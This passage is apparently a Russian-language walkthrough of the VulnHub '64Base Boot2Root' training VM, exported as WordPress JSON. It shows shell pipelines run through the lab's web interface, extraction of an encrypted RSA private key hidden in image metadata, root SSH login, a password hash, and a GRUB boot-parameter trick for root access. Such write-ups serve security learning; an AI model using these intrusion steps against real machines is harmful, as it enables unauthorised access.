  \u0424\u043b\u0430\u0433 \u043d\u0430\u0439\u0434\u0435\u043d, \u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043d\u0438\u043c \u0438 \u043d\u043e\u0432\u0430\u044f \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430: Look Inside! \ud83d\ude00<\/i><\/p>\n
flag6<\/h3>\n
  \u041d\u0430\u0441 \u043f\u0440\u043e\u0441\u044f\u0442 \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u044c \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u041e\u043a \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u044d\u0442\u043e:  <\/p>\n
#\u041a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0444\u0430\u0439\u043b \u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0443\u044e \u043d\u0430\u043c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e |locate admin|grep html|xargs find|grep TG|xargs cp -t . #\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u043c \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 |ls|grep TG|xargs chmod 777<\/code><\/pre>\n
  \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435, \u0444\u0430\u0439\u043b \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u043e\u0439:
  
  \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c exiftool<\/i> \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u044d\u0442\u043e\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438  <\/p>\n
\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n
ExifTool Version Number: 9.46
  File Name: flag5{TG9vayBJbnNpZGUhIDpECg==}.jpeg
  Directory:.
  File Size: 192 kB
  File Modification Date\/Time: 2016:12:16 05:32:02+03:00
  File Access Date\/Time: 2016:12:16 05:32:08+03:00
  File Inode Change Date\/Time: 2016:12:16 05:32:02+03:00
  File Permissions: rw——-
  File Type: JPEG
  MIME Type: image\/jpeg
  JFIF Version: 1.01
  Resolution Unit: inches
  X Resolution: 72
  Y Resolution: 72
  Comment: 4c5330744c5331435255644a546942535530456755464a4a566b46555253424c52566b744c5330744c517051636d396a4c565235634755364944517352553544556c6c5156455645436b52460a5379314a626d5a764f69424252564d744d5449344c554e43517977324d6a46424d7a68425155513052546c475155457a4e6a55335130457a4f44673452446c434d7a553251776f4b625552300a556e684a643267304d464a54546b467a4d697473546c4a49646c4d356557684e4b325668654868564e586c795231424461334a6955566376556d64515543745352307043656a6c57636c52720a646c6c334e67705a59303931575756615457707a4e475a4a55473433526c7035536d64345230686f5533685262336857626a6c7252477433626e4e4e546b5270636e526a62304e50617a6c530a524546484e5756344f58673056453136436a684a624552435558453161546c5a656d6f35646c426d656d56435246706b53586f35524863795a323479553246465a335531656d56734b7a5a490a52303969526a686161444e4e53574e6f6554687a4d5668795254414b61335a4d53306b794e544a74656c64334e47746955334d354b31466856336c6f4d7a52724f45704a566e7031597a46520a51336c69656a56586231553157545532527a5a784d564a6b637a426959315a785446567a5a51704e5533704c617a4e745332465851586c4d574778764e3078756258467856555a4c5347356b0a516b557855326851566c5a704e47497752336c475355785054335a3062585a47596a5172656d68314e6d705056316c49436d73796147524453453554644374705a3264354f57686f4d3270680a52576456626c4e51576e56464e30354b6430525a5954646c553052685a3077784e31684c634774744d6c6c70516c5a7956566834566b31756232494b643168535a6a56435930644c56546b330a65475276636c59795648457261446c4c553278615a5463354f58527956484a475230356c4d4456326545527961576f315658517953324e52654373354f457334533342585441706e645570510a556c424c52326c71627a6b3253455248597a4e4d4e566c7a65453969566d63724c325a714d4546326330746d636d4e574c327834595663725357313562574d7854566870536b316962554e360a62455233436c52425632316863577453526b52355154464956585a30646c4e6c566e46544d533949616d6845647a6c6b4e45747a646e4e71613270326557565256484e7a5a6e4e6b52324e560a4d47684561316833556c647a6332514b4d6d517a5279744f616d3078556a56615445356e556d784f63465a48616d684c517a524263325a59557a4e4b4d486f7964444e4355453035576b39430a54554a6c4f5552344f4870744e58684757546c365633527964677042523342794d454a6f4f45745264323177616c4656597a46685a6e4e78595646594d465649546b7859564446615431644c0a616d63305530457a57454d355a454e4665555a784d464e4a65464671547a6c4d52304e48436a52524e57356a5a6c566f62585a3063586c3164454e7362444a6b5746427a57465a455a54526c0a6230517851327432536b354557544e4c554663725232744f4f5577724f554e516554677252453531626b5a4a6433674b4b3151724b7a64525a7939315546684c6354524e4e6a464a555467770a4d7a52566148565356314d30564846514f57463657444e44527a6c4d65573970516a5a57596b74505a555233546a68686157784d533170436377706d57546c524e6b464e4d584e3562476c360a53444675626e684c5433526155566431636e68715230704353584d324d6e526c6245317259584d356555354e617a4e4d64546478556b6732633364504f584e6b56454a70436974714d4867300a64555261616b706a5a30315965475a694d4863315154593062466c4763303153656b5a714e31686b5a6e6b784f53744e5a54684b525768524f45744f57455233555574456556564d526b39550a63336f4b4d544e575a6b4a4f65466c7a65557731656b6459546e703563566f3053533950547a644e5a575179616a4248656a426e4d6a4670534545764d445a74636e4d795932786b637a5a540a56554a4852585a754f4535705667707955334a494e6e5a46637a5254656d63776544686b5a45643255544278567a463254577455556e557a54336b765a544577526a63304e586845545546550a53314a7353316f32636c6c4954554e34536a4e4a59323530436b56364d45394e57466c6b517a5a4461555976535664305a3252564b32684c65585a7a4e484e4764454e4359327854595764740a5246524b4d6d74615a485530556c4a3357565a574e6d394a546e6f35596e4250646b554b556e677a534656785a6d354c553268796458704e4f56707261556c7264564e6d556e526d615531320a596c52365a6d5a4b56464d30597a513451303831574339535a5559765157464e654774695532524654305a7a53517047646a6c595a476b355532524f6458684853455579527a5249646b706b0a53584279526c5679566c4e7755306b344d48646e636d49794e44567a647a5a6e5647397064466f354d47684b4e47354b4e5746354e304648436c6c7059574531627a63344e7a63765a6e63320a57566f764d6c557a5155526b61564e50516d3072614770574d6b705765484a7665565659596b63315a475a734d32303452335a6d4e7a464b4e6a4a4753484534646d6f4b63557068626c4e720a4f4445334e586f77596d70795746646b5445637a52464e735355707063327851567974355247466d4e316c43566c6c33563149725645457861304d326157564a5154563056544e776269394a0a4d776f324e466f31625842444b3364785a6c52345232646c51334e6e53577335646c4e754d6e41765a5756305a456b7a5a6c46584f46645952564a69524756304d56564d5346427864456c700a4e314e61596d6f3464697451436d5a7553457852646b563353584d72516d59785133424c4d554672576d565654564a4655577443614552704e7a4a49526d4a334d6b6376656e46306153395a0a5a4735786545463562445a4d576e704a5a5646754f48514b4c3064714e477468636b6f78615530355357597a4f57524e4e55396851315a615569395554304a575956493462584a514e315a300a536d39794f57706c53444a305255777764473946635664434d56424c4d48565955416f744c5330744c55564f524342535530456755464a4a566b46555253424c52566b744c5330744c516f3d0a
  Image Width: 960
  Image Height: 720
  Encoding Process: Baseline DCT, Huffman coding
  Bits Per Sample: 8
  Color Components: 3
  Y Cb Cr Sub Sampling: YCbCr4:4:4 (1 1)
  Image Size: 960×720  <\/div>\n<\/div>\n
  \u0421\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u043e\u043b\u044f Comment<\/i> \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u0442\u0435 \u0436\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u0447\u0442\u043e \u0438 \u0441 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u043c\u0438 \u0444\u043b\u0430\u0433\u0430\u043c\u0438. \u041d\u0430 \u0432\u044b\u0445\u043e\u0434\u0438 \u0432\u043c\u0435\u0441\u0442\u043e \u0444\u043b\u0430\u0433\u0430 \u043d\u0430\u043c \u0434\u0430\u043b\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 RSA \u043a\u043b\u044e\u0447:  <\/p>\n
\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n
——BEGIN RSA PRIVATE KEY——
  Proc-Type: 4,ENCRYPTED
  DEK-Info: AES-128-CBC,621A38AAD4E9FAA3657CA3888D9B356C<\/p>\n
  mDtRxIwh40RSNAs2+lNRHvS9yhM+eaxxU5yrGPCkrbQW\/RgPP+RGJBz9VrTkvYw6
  YcOuYeZMjs4fIPn7FZyJgxGHhSxQoxVn9kDkwnsMNDirtcoCOk9RDAG5ex9x4TMz
  8IlDBQq5i9Yzj9vPfzeBDZdIz9Dw2gn2SaEgu5zel+6HGObF8Zh3MIchy8s1XrE0
  kvLKI252mzWw4kbSs9+QaWyh34k8JIVzuc1QCybz5WoU5Y56G6q1Rds0bcVqLUse
  MSzKk3mKaWAyLXlo7LnmqqUFKHndBE1ShPVVi4b0GyFILOOvtmvFb4+zhu6jOWYH
  k2hdCHNSt+iggy9hh3jaEgUnSPZuE7NJwDYa7eSDagL17XKpkm2YiBVrUXxVMnob
  wXRf5BcGKU97xdorV2Tq+h9KSlZe799trTrFGNe05vxDrij5Ut2KcQx+98K8KpWL
  guJPRPKGijo96HDGc3L5YsxObVg+\/fj0AvsKfrcV\/lxaW+Imymc1MXiJMbmCzlDw
  TAWmaqkRFDyA1HUvtvSeVqS1\/HjhDw9d4KsvsjkjvyeQTssfsdGcU0hDkXwRWssd
  2d3G+Njm1R5ZLNgRlNpVGjhKC4AsfXS3J0z2t3BPM9ZOBMBe9Dx8zm5xFY9zWtrv
  AGpr0Bh8KQwmpjQUc1afsqaQX0UHNLXT1ZOWKjg4SA3XC9dCEyFq0SIxQjO9LGCG
  4Q5ncfUhmvtqyutCll2dXPsXVDe4eoD1CkvJNDY3KPW+GkN9L+9CPy8+DNunFIwx
  +T++7Qg\/uPXKq4M61IQ8034UhuRWS4TqP9azX3CG9LyoiB6VbKOeDwN8ailLKZBs
  fY9Q6AM1sylizH1nnxKOtZQWurxjGJBIs62telMkas9yNMk3Lu7qRH6swO9sdTBi
  +j0x4uDZjJcgMXxfb0w5A64lYFsMRzFj7Xdfy19+Me8JEhQ8KNXDwQKDyULFOTsz
  13VfBNxYsyL5zGXNzyqZ4I\/OO7Med2j0Gz0g21iHA\/06mrs2clds6SUBGEvn8NiV
  rSrH6vEs4Szg0x8ddGvQ0qW1vMkTRu3Oy\/e10F745xDMATKRlKZ6rYHMCxJ3Icnt
  Ez0OMXYdC6CiF\/IWtgdU+hKyvs4sFtCBclSagmDTJ2kZdu4RRwYVV6oINz9bpOvE
  Rx3HUqfnKShruzM9ZkiIkuSfRtfiMvbTzffJTS4c48CO5X\/ReF\/AaMxkbSdEOFsI
  Fv9Xdi9SdNuxGHE2G4HvJdIprFUrVSpSI80wgrb245sw6gToitZ90hJ4nJ5ay7AG
  Yiaa5o7877\/fw6YZ\/2U3ADdiSOBm+hjV2JVxroyUXbG5dfl3m8Gvf71J62FHq8vj
  qJanSk8175z0bjrXWdLG3DSlIJislPW+yDaf7YBVYwWR+TA1kC6ieIA5tU3pn\/I3
  64Z5mpC+wqfTxGgeCsgIk9vSn2p\/eetdI3fQW8WXERbDet1ULHPqtIi7SZbj8v+P
  fnHLQvEwIs+Bf1CpK1AkZeUMREQkBhDi72HFbw2G\/zqti\/YdnqxAyl6LZzIeQn8t
  \/Gj4karJ1iM9If39dM5OaCVZR\/TOBVaR8mrP7VtJor9jeH2tEL0toEqWB1PK0uXP
  ——END RSA PRIVATE KEY——  <\/div>\n<\/div>\n
  \u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0438\u043c \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043f\u043e ssh  <\/p>\n
ssh root@192.168.1.2 -p 62964 -i key.rsa<\/code><\/pre>\n
  \u041f\u0430\u0440\u043e\u043b\u044c \u043a\u0430\u043a \u043b\u0435\u0433\u043a\u043e \u0434\u043e\u0433\u0430\u0434\u0430\u0442\u044c\u0441\u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0435, \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0444\u043b\u0430\u0433:  <\/p>\n
flag6{NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1N
  GU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU
  0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5
  MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0
  ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNj
  M3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}<\/p><\/blockquote>\n
  \u0412 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430: base64 -d \/var\/local\/.luke|less.real<\/i>
  \u0418 root \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435. \u0417\u0430\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043e!<\/p>\n
  P.S. \u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0435\u0449\u0451 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 1 \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u0440\u043e\u0439\u0442\u0438 \u044d\u0442\u0443 \u043b\u0430\u0431\u0443.  <\/p>\n
\u0413\u0440\u044f\u0437\u043d\u044b\u0439 \u0445\u0430\u043a<\/b><\/p>\n
\u0421\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043e\u0431\u0440\u0430\u0437\u0430 \u0432 VirtualBox, \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u0412\u043e \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f GRUB, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u0441\u044f, \u0436\u0434\u0435\u043c \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u0435\u043d\u044e \u0432\u044b\u0431\u043e\u0440\u0430 \u041e\u0421, \u0438 \u043c\u0435\u043d\u044f\u0435\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438:
  <\/p>\n
  \u0417\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u0441\u044f \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root. \u041e\u0441\u043c\u043e\u0442\u0440\u0435\u0432\u0448\u0438\u0441\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u0441\u0430\u0439\u0442\u0430.
  \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0443:  <\/p>\n
cd \/var\/www\/html ls -l | wc -l<\/code><\/pre>\n
  \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u0438\u0445 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c 443. \u041d\u0430\u043c \u043f\u043e\u043a\u0430 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f \u043a\u0430\u0442\u0430\u043b\u043e\u0433 admin<\/i>. \u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0432 \u043f\u0430\u043f\u043a\u0435 S3cR37 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0432\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433
  <\/p>\n
  \u0417\u0434\u0435\u0441\u044c \u0436\u0435 \u043c\u043e\u0436\u0435\u043c \u043d\u0430\u0439\u0442\u0438 \u0445\u0435\u0448 \u043f\u0430\u0440\u043e\u043b\u044f \u043a \u044d\u0442\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0438 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f:
  64base:$apr1$SNPbKyA8$0.2pIMdx4JVVA6jsX\/Ru30<\/i>
  <\/p>\n
  \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u0430 index.html, \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u0444\u043b\u0430\u0433.
  \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443:  <\/p>\n
grep -r flag3 \/var\/www\/<\/code><\/pre>\n
  \u0418 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0442\u0440\u0435\u0442\u0438\u0439 \u0444\u043b\u0430\u0433
  <\/p>\n
  \u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043f\u044f\u0442\u044b\u0439 \u0438 \u0448\u0435\u0441\u0442\u043e\u0439 \u0444\u043b\u0430\u0433\u0438:  <\/p>\n
root@64base:~# find \/var\/www\/html\/ -name flag*<\/code><\/pre>\n
  <\/p>\n
\/var\/www\/html\/admin\/S3cR37\/flag5{TG9vayBJbnNpZGUhIDpECg==}<\/p><\/blockquote>\n
  <\/p>\n
root@64base:~# grep -r flag6 \/<\/code><\/pre>\n
  <\/p>\n
\/root\/.profile:echo \u00abflag6{NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1NGU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNjM3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}\u00bb<\/p><\/blockquote>\n
  \u041d\u0443 \u0438 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \/var\/www\/html\/Imperial-Class\/BountyHunter\/login.php<\/i> \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c \u0438 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c \u0447\u0435\u0442\u0432\u0451\u0440\u043d\u044b\u0439 \u0444\u043b\u0430\u0433:  <\/p>\n
$_u = base64_decode(‘ZWNobyAnPGg0PmZsYWc0e05qUmlZWE5sT2pZMFltRnpaVFZvTXpjM0NnPT19PC9oND4nO2NhdC5yZWFsIC9ldGMvaXNzdWU7ZGF0ZTt1bmFtZSAtYTsvc2Jpbi9pZmNvbmZpZyBldGgwfC91c3Ivc2hhcmUvZ3JlcC5yZWFsIGluZXQ7ZWNobwo=’).’ ‘.$_s;<\/p><\/blockquote><\/div>\n<\/div>\n
 \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438  https:\/\/habrahabr.ru\/post\/317346\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"

  \u0421\u043e\u0432\u0441\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043d\u0430 VulnHub<\/a> \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u043a\u0438 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c 64Base Boot2Root<\/a>. \u0417\u0430\u0434\u0430\u043d\u0438\u044f, \u043a\u0430\u043a \u0438 \u0441\u0442\u0430\u0442\u044c\u044f \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u043d\u044b \u043d\u0430 \u043d\u043e\u0432\u0438\u0447\u043a\u043e\u0432. \u0422\u0430\u043a \u0447\u0442\u043e \u043d\u0435 \u0443\u0434\u0438\u0432\u043b\u044f\u0439\u0442\u0435\u0441\u044c, \u0435\u0441\u043b\u0438 \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0438\u0437 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043f\u043e\u043a\u0430\u0436\u0443\u0442\u0441\u044f \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u044b\u043c\u0438.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-282596","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/282596","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=282596"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/282596\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=282596"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=282596"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=282596"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}